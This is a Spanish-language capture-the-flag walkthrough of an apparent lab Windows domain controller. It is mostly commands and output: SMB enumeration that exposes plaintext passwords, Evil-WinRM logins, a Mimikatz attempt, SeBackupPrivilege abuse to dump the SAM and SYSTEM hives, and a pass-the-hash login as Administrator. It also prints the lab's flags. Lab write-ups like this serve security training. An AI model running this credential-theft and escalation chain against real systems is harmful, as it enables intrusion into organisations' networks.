|    OS Information via RPC for 10.10.11.35    |
 ==============================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[+] Found OS information via 'srvinfo'
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: ''
OS build: '20348'
Native OS: not supported
Native LAN manager: not supported
Platform id: '500'
Server type: '0x80102b'
Server type string: Wk Sv PDC Tim NT     CICADA-DC

 ====================================
|    Users via RPC on 10.10.11.35    |
 ====================================
[*] Enumerating users via 'querydispinfo'
[+] Found 8 user(s) via 'querydispinfo'
[*] Enumerating users via 'enumdomusers'
[+] Found 8 user(s) via 'enumdomusers'
[+] After merging user results we have 8 user(s) total:
'1104':
  username: john.smoulder
  name: (null)
  acb: '0x00000210'
  description: (null)
'1105':
  username: sarah.dantelia
  name: (null)
  acb: '0x00000210'
  description: (null)
'1106':
  username: michael.wrightson
  name: (null)
  acb: '0x00000210'
  description: (null)
'1108':
  username: david.orelious
  name: (null)
  acb: '0x00000210'
  description: Just in case I forget my password is aRt$Lp#7t*VQ!3
'1601':
  username: emily.oscars
  name: Emily Oscars
  acb: '0x00000210'
  description: (null)
'500':
  username: Administrator
  name: (null)
  acb: '0x00000210'
  description: Built-in account for administering the computer/domain
'501':
  username: Guest
  name: (null)
  acb: '0x00000214'
  description: Built-in account for guest access to the computer/domain
'502':
  username: krbtgt
  name: (null)
  acb: '0x00020011'
  description: Key Distribution Center Service Account

 =====================================
|    Groups via RPC on 10.10.11.35    |
 =====================================
[*] Enumerating local groups
[+] Found 5 group(s) via 'enumalsgroups domain'
[*] Enumerating builtin groups
[+] Found 28 group(s) via 'enumalsgroups builtin'
[*] Enumerating domain groups
[+] Found 17 group(s) via 'enumdomgroups'
[+] After merging groups results we have 50 group(s) total:
'1101':
  groupname: DnsAdmins
  type: local
'1102':
  groupname: DnsUpdateProxy
  type: domain
'1103':
  groupname: Groups
  type: domain
'1109':
  groupname: Dev Support
  type: domain
'498':
  groupname: Enterprise Read-only Domain Controllers
  type: domain
'512':
  groupname: Domain Admins
  type: domain
'513':
  groupname: Domain Users
  type: domain
'514':
  groupname: Domain Guests
  type: domain
'515':
  groupname: Domain Computers
  type: domain
'516':
  groupname: Domain Controllers
  type: domain
'517':
  groupname: Cert Publishers
  type: local
'518':
  groupname: Schema Admins
  type: domain
'519':
  groupname: Enterprise Admins
  type: domain
'520':
  groupname: Group Policy Creator Owners
  type: domain
'521':
  groupname: Read-only Domain Controllers
  type: domain
'522':
  groupname: Cloneable Domain Controllers
  type: domain
'525':
  groupname: Protected Users
  type: domain
'526':
  groupname: Key Admins
  type: domain
'527':
  groupname: Enterprise Key Admins
  type: domain
'544':
  groupname: Administrators
  type: builtin
'545':
  groupname: Users
  type: builtin
'546':
  groupname: Guests
  type: builtin
'548':
  groupname: Account Operators
  type: builtin
'549':
  groupname: Server Operators
  type: builtin
'550':
  groupname: Print Operators
  type: builtin
'551':
  groupname: Backup Operators
  type: builtin
'552':
  groupname: Replicator
  type: builtin
'553':
  groupname: RAS and IAS Servers
  type: local
'554':
  groupname: Pre-Windows 2000 Compatible Access
  type: builtin
'555':
  groupname: Remote Desktop Users
  type: builtin
'556':
  groupname: Network Configuration Operators
  type: builtin
'557':
  groupname: Incoming Forest Trust Builders
  type: builtin
'558':
  groupname: Performance Monitor Users
  type: builtin
'559':
  groupname: Performance Log Users
  type: builtin
'560':
  groupname: Windows Authorization Access Group
  type: builtin
'561':
  groupname: Terminal Server License Servers
  type: builtin
'562':
  groupname: Distributed COM Users
  type: builtin
'568':
  groupname: IIS_IUSRS
  type: builtin
'569':
  groupname: Cryptographic Operators
  type: builtin
'571':
  groupname: Allowed RODC Password Replication Group
  type: local
'572':
  groupname: Denied RODC Password Replication Group
  type: local
'573':
  groupname: Event Log Readers
  type: builtin
'574':
  groupname: Certificate Service DCOM Access
  type: builtin
'575':
  groupname: RDS Remote Access Servers
  type: builtin
'576':
  groupname: RDS Endpoint Servers
  type: builtin
'577':
  groupname: RDS Management Servers
  type: builtin
'578':
  groupname: Hyper-V Administrators
  type: builtin
'579':
  groupname: Access Control Assistance Operators
  type: builtin
'580':
  groupname: Remote Management Users
  type: builtin
'582':
  groupname: Storage Replica Administrators
  type: builtin

 =====================================
|    Shares via RPC on 10.10.11.35    |
 =====================================
[*] Enumerating shares
[+] Found 7 share(s):
ADMIN$:
  comment: Remote Admin
  type: Disk
C$:
  comment: Default share
  type: Disk
DEV:
  comment: ''
  type: Disk
HR:
  comment: ''
  type: Disk
IPC$:
  comment: Remote IPC
  type: IPC
NETLOGON:
  comment: Logon server share
  type: Disk
SYSVOL:
  comment: Logon server share
  type: Disk
[*] Testing share ADMIN$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share C$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share DEV
[+] Mapping: OK, Listing: DENIED
[*] Testing share HR
[+] Mapping: OK, Listing: OK
[*] Testing share IPC$
[+] Mapping: OK, Listing: NOT SUPPORTED
[*] Testing share NETLOGON
[+] Mapping: OK, Listing: OK
[*] Testing share SYSVOL
[+] Mapping: OK, Listing: OK

 ========================================
|    Policies via RPC for 10.10.11.35    |
 ========================================
[*] Trying port 445/tcp
[+] Found policy:
Domain password information:
  Password history length: 24
  Minimum password length: 7
  Maximum password age: 41 days 23 hours 53 minutes
  Password properties:
  - DOMAIN_PASSWORD_COMPLEX: true
  - DOMAIN_PASSWORD_NO_ANON_CHANGE: false
  - DOMAIN_PASSWORD_NO_CLEAR_CHANGE: false
  - DOMAIN_PASSWORD_LOCKOUT_ADMINS: false
  - DOMAIN_PASSWORD_PASSWORD_STORE_CLEARTEXT: false
  - DOMAIN_PASSWORD_REFUSE_PASSWORD_CHANGE: false
Domain lockout information:
  Lockout observation window: 30 minutes
  Lockout duration: 30 minutes
  Lockout threshold: None
Domain logoff information:
  Force logoff time: not set

 ========================================
|    Printers via RPC for 10.10.11.35    |
 ========================================
[+] No printers returned (this is not an error)

Completed after 14.93 seconds

Resultado:

  • Contraseña de usuario david.orelious obtenida directamente de la descripción de su cuenta: aRt$Lp#7t*VQ!3.

Intentamos conectarnos mediante WinRM usando el usuario y la contraseña obtenida, pero no logramos establecer la conexión.

❯ sudo evil-winrm  -i  10.10.11.35 -u david.orelious -p 'aRt$Lp#7t*VQ!3'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
                                        
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
                                        
Error: Exiting with code 1

Resultado

  • La conexión con WinRM falló, mostrando un error de autorización.

Intento de Enumeración de Recursos con enum4linux:

Se intentó realizar una enumeración de recursos en el servidor utilizando enum4linux-ng.

❯ /opt/enum4linux-ng/enum4linux-ng.py -S 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'
ENUM4LINUX - next generation (v1.3.3)

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... 10.10.11.35
[*] Username ......... 'david.orelious'
[*] Random Username .. 'wrijanuc'
[*] Password ......... 'aRt$Lp#7t*VQ!3'
[*] Timeout .......... 5 second(s)

 ====================================
|    Listener Scan on 10.10.11.35    |
 ====================================
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp

 ========================================
|    SMB Dialect Check on 10.10.11.35    |
 ========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
  SMB 1.0: false
  SMB 2.02: true
  SMB 2.1: true
  SMB 3.0: true
  SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true

 ==========================================================
|    Domain Information via SMB session for 10.10.11.35    |
 ==========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: CICADA-DC
NetBIOS domain name: CICADA
DNS domain: cicada.htb
FQDN: CICADA-DC.cicada.htb
Derived membership: domain member
Derived domain: CICADA

 ========================================
|    RPC Session Check on 10.10.11.35    |
 ========================================
[*] Check for null session
[+] Server allows session using username '', password ''
[*] Check for user session
[+] Server allows session using username 'david.orelious', password 'aRt$Lp#7t*VQ!3'
[*] Check for random user
[+] Server allows session using username 'wrijanuc', password 'aRt$Lp#7t*VQ!3'
[H] Rerunning enumeration with user 'wrijanuc' might give more results

 ==================================================
|    Domain Information via RPC for 10.10.11.35    |
 ==================================================
[+] Domain: CICADA
[+] Domain SID: S-1-5-21-917908876-1423158569-3159038727
[+] Membership: domain member

 =====================================
|    Shares via RPC on 10.10.11.35    |
 =====================================
[*] Enumerating shares
[+] Found 7 share(s):
ADMIN$:
  comment: Remote Admin
  type: Disk
C$:
  comment: Default share
  type: Disk
DEV:
  comment: ''
  type: Disk
HR:
  comment: ''
  type: Disk
IPC$:
  comment: Remote IPC
  type: IPC
NETLOGON:
  comment: Logon server share
  type: Disk
SYSVOL:
  comment: Logon server share
  type: Disk
[*] Testing share ADMIN$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share C$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share DEV
[+] Mapping: OK, Listing: OK
[*] Testing share HR
[+] Mapping: OK, Listing: OK
[*] Testing share IPC$
[+] Mapping: OK, Listing: NOT SUPPORTED
[*] Testing share NETLOGON
[+] Mapping: OK, Listing: OK
[*] Testing share SYSVOL
[+] Mapping: OK, Listing: OK

Completed after 5.41 seconds

Resultado de la Enumeración:

  • Información del Objetivo:
    • Nombre de dominio: CICADA
    • Nombre de equipo: CICADA-DC
    • Dominio DNS: cicada.htb
    • Nombre completo del dominio: CICADA-DC.cicada.htb
    • Tipo de miembro: Miembro de dominio
  • Acceso SMB:
    • SMB es accesible en los puertos 445/tcp y 139/tcp.
    • Protocolo SMB soportado:
      • SMB 2.0, 2.1, 3.0 y 3.1.1.
  • Shares detectados:
    • ADMIN$, C$, DEV, HR, IPC$, NETLOGON, SYSVOL.
  • Permisos en los shares:
    • ADMIN$: Acceso denegado.
    • C$: Acceso denegado.
    • DEV: Acceso permitido y listado de contenido disponible.
    • HR: Acceso permitido y listado de contenido disponible.
    • IPC$: Acceso permitido, pero listado no soportado.
    • NETLOGON: Acceso permitido y listado de contenido disponible.
    • SYSVOL: Acceso permitido y listado de contenido disponible.

Script para Enumerar y Listar Contenido de los Shares SMB:

Basado en la información obtenida, se utilizó el siguiente script en Bash para intentar listar el contenido de los shares SMB accesibles.

#!/bin/bash

# Dirección IP del servidor
SERVER_IP="10.10.11.35"

# Usuario SMB
SMB_USER='david.orelious'
SMB_PASS='aRt$Lp#7t*VQ!3'

# Lista de shares detectados
SHARES=("ADMIN$" "C$" "DEV" "HR" "IPC$" "NETLOGON" "SYSVOL")

echo "Iniciando enumeración de shares SMB en $SERVER_IP con usuario '$SMB_USER'..."

for SHARE in "${SHARES[@]}"; do
    echo "Intentando acceder al share: $SHARE"
    
    # Comando para listar el contenido del share
    smbclient "\\\\$SERVER_IP\\$SHARE" -U "$SMB_USER%$SMB_PASS" 2>/dev/null

    # Verificar si el acceso fue exitoso
    if [ $? -eq 0 ]; then
        echo "Acceso exitoso al share '$SHARE'. Contenido listado arriba."
    else
        echo "No se pudo acceder al share '$SHARE'."
    fi

    echo "---------------------------------------------"
done

echo "Enumeración completada."

Ejecución del script

Al ejecutar el script, se realizó la enumeración de los shares SMB y se intentó acceder a cada uno de ellos: 

❯ bash enum_smb.sh

Iniciando enumeración de shares SMB en 10.10.11.35 con usuario 'david.orelious'...
Intentando acceder al share: ADMIN$
tree connect failed: NT_STATUS_ACCESS_DENIED
No se pudo acceder al share 'ADMIN$'.
---------------------------------------------
Intentando acceder al share: C$
tree connect failed: NT_STATUS_ACCESS_DENIED
No se pudo acceder al share 'C$'.
---------------------------------------------
Intentando acceder al share: DEV
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Mar 14 13:31:39 2024
  ..                                  D        0  Thu Mar 14 13:21:29 2024
  Backup_script.ps1                   A      601  Wed Aug 28 19:28:22 2024

		4168447 blocks of size 4096. 425797 blocks available
smb: \> exit
Acceso exitoso al share 'DEV'. Contenido listado arriba.
---------------------------------------------
Intentando acceder al share: HR
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Mar 14 13:29:09 2024
  ..                                  D        0  Thu Mar 14 13:21:29 2024
  Notice from HR.txt                  A     1266  Wed Aug 28 19:31:48 2024

		4168447 blocks of size 4096. 425797 blocks available
smb: \> exit
Acceso exitoso al share 'HR'. Contenido listado arriba.
---------------------------------------------
Intentando acceder al share: IPC$
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_NO_SUCH_FILE listing \*
smb: \> exit
Acceso exitoso al share 'IPC$'. Contenido listado arriba.
---------------------------------------------
Intentando acceder al share: NETLOGON
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Mar 14 12:08:56 2024
  ..                                  D        0  Thu Mar 14 12:15:21 2024

		4168447 blocks of size 4096. 425797 blocks available
smb: \> exit
Acceso exitoso al share 'NETLOGON'. Contenido listado arriba.
---------------------------------------------
Intentando acceder al share: SYSVOL
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Aug 22 19:40:07 2024
  ..                                  D        0  Thu Mar 14 12:08:56 2024
  cicada.htb                         Dr        0  Thu Mar 14 12:08:56 2024
   
		4168447 blocks of size 4096. 425797 blocks available
smb: \> exit
Acceso exitoso al share 'SYSVOL'. Contenido listado arriba.
---------------------------------------------
Enumeración completada.

Resumen de la ejecución del script

Acceso a ADMIN$:
  • Resultado: Acceso denegado.
  • Mensaje: tree connect failed: NT_STATUS_ACCESS_DENIED
Acceso a C$:
  • Resultado: Acceso denegado.
  • Mensaje: tree connect failed: NT_STATUS_ACCESS_DENIED
Acceso a DEV:
  • Resultado: Acceso exitoso.
  • Contenido: Backup_script.ps1 (Archivo de script encontrado).
  • Descarga del archivo Backup_script.ps1
Acceso a HR:
  • Resultado: Acceso exitoso.
  • Contenido: Notice from HR.txt
Acceso a IPC$:
  • Resultado: Acceso exitoso, pero no hay archivos listados.
Acceso a NETLOGON:
  • Resultado: Acceso exitoso, pero no hay archivos listados.
Acceso a SYSVOL:
  • Resultado: Acceso exitoso, pero no se pudo descargar el directorio cicada.htb.
  • Mensaje: NT_STATUS_FILE_IS_A_DIRECTORY opening remote file \cicada.htb

Análisis del Script y Obtención de Credenciales:

Al revisar el contenido del script Backup_script.ps1, se detectaron credenciales de usuario y contraseña en texto claro, lo que permitió un acceso posterior a la máquina de destino mediante WinRM.

Contenido del Script Backup_script.ps1:

$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"

Acceso a la Máquina mediante WinRM:

Utilizando las credenciales encontradas en el script, se intentó realizar un inicio de sesión remoto con WinRM mediante la herramienta Evil-WinRM.


 sudo evil-winrm  -i  10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> 

Obtención de la Flag de Usuario

Durante el proceso de explotación, se logró obtener la primera flag de usuario al acceder al escritorio del usuario emily.oscars en la máquina remota.

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> cd ..
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> dir


    Directory: C:\Users\emily.oscars.CICADA


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-r---         8/28/2024  10:32 AM                Desktop
d-r---         8/22/2024   2:22 PM                Documents
d-r---          5/8/2021   1:20 AM                Downloads
d-r---          5/8/2021   1:20 AM                Favorites
d-r---          5/8/2021   1:20 AM                Links
d-r---          5/8/2021   1:20 AM                Music
d-r---          5/8/2021   1:20 AM                Pictures
d-----          5/8/2021   1:20 AM                Saved Games
d-r---          5/8/2021   1:20 AM                Videos


*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> cd Desktop
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> dir


    Directory: C:\Users\emily.oscars.CICADA\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---         12/3/2024  12:00 PM             34 user.txt


*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> get-content user.txt
74ce464aa7f9837bd2c12e77dffa750b

Elevación de Privilegios

Subida de Mimikatz

Intentamos subir Mimikatz para elevar privilegios, pero no obtuvimos los permisos suficientes para ejecutarlo correctamente.

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> upload
Info: Uploading /opt/postexplotation/win/mimikatz_exe/x64/ to C:\Users\emily.oscars.CICADA\Documents\x64
Data: 883688 bytes of 883688 bytes copied
Info: Upload successful!

Verificamos que el archivo se haya subido correctamente:

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> ls
Directory: C:\Users\emily.oscars.CICADA\Documents
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         12/3/2024   2:27 PM                Cicada
d-----         12/3/2024   2:29 PM                x64

Ejecución de Mimikatz

Intentamos ejecutar Mimikatz con el comando para obtener las contraseñas de los usuarios, pero se encontró un error debido a la falta de privilegios adecuados: 

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents\x64> ./mimikatz.exe  "privilege::debug" "sekurlsa::logonPasswords" exit

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
  .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
  ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
  ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
  '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
   '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061

mimikatz(commandline) # sekurlsa::logonPasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

mimikatz(commandline) # exit
Bye!

El error ERROR kuhl_m_privilege_simple indica que no tenemos privilegios suficientes para ejecutar la función privilege::debug. Además, el error ERROR kuhl_m_sekurlsa_acquireLSA muestra que no se pudo obtener acceso a la memoria necesaria para recuperar las contraseñas.

Comprobación de Privilegios

Para verificar nuestros privilegios, usamos el siguiente comando:

whoami /priv

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                    State
============================= ============================== =======
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Los privilegios SeBackupPrivilege y SeRestorePrivilege están habilitados, lo que nos permite realizar copias de seguridad de archivos y directorios.

Backup de SAM y SYSTEM

Aprovechamos el privilegio SeBackupPrivilege para realizar un backup de los registros SAM y SYSTEM, que contienen las credenciales necesarias para intentar obtener acceso de alto nivel:

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> mkdir SAM
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> cd SAM

Guardamos los registros SAM y SYSTEM:

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents\SAM> reg save hklm\sam sam
The operation completed successfully.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents\SAM> reg save hklm\system system
The operation completed successfully.

Descargamos los archivos SAM y SYSTEM al equipo atacante:

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents\SAM> download .
Info: Downloading C:\Users\emily.oscars.CICADA\Documents\SAM\. to .
Info: Download successful!

Intento con Samdump2 de obtener el hash

Usamos samdump2 para extraer los hashes de las contraseñas, pero los resultados no fueron los esperados:

sudo samdump2 system sam
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* ä:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Resumen

  • No obtuvimos el hash correcto de Administrator.

Intento de obntener el hash con Pypykatz

A continuación, usamos pypykatz para extraer los hashes correctamente:

pypykatz registry system --sam sam
WARNING:pypykatz:SECURITY hive path not supplied! Parsing SECURITY will not work
WARNING:pypykatz:SOFTWARE hive path not supplied! Parsing SOFTWARE will not work
============== SYSTEM hive secrets ==============
CurrentControlSet: ControlSet001
Boot Key: 3c2b033757a49110a9ee680b46e8d620
============== SAM hive secrets ==============
HBoot Key: a1c299e572ff8c643a857d3fdb3e5c7c10101010101010101010101010101010
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Acceso mediante Evil-WinRM

Finalmente, utilizamos Evil-WinRM para obtener acceso a la máquina como Administrator utilizando el hash:

❯ sudo evil-winrm  -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> 

Obtención de la Flag de Administrator

Navegamos a través de los directorios hasta llegar al directorio Desktop y leímos el contenido del archivo root.txt, obteniendo así la flag.


*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir


    Directory: C:\Users\Administrator\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---         12/3/2024   5:13 PM             34 root.txt


*Evil-WinRM* PS C:\Users\Administrator\Desktop> get-content root.txt
29d599adfa4c56184faaeea2a9f64ba1

Información relevante

:wq!

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *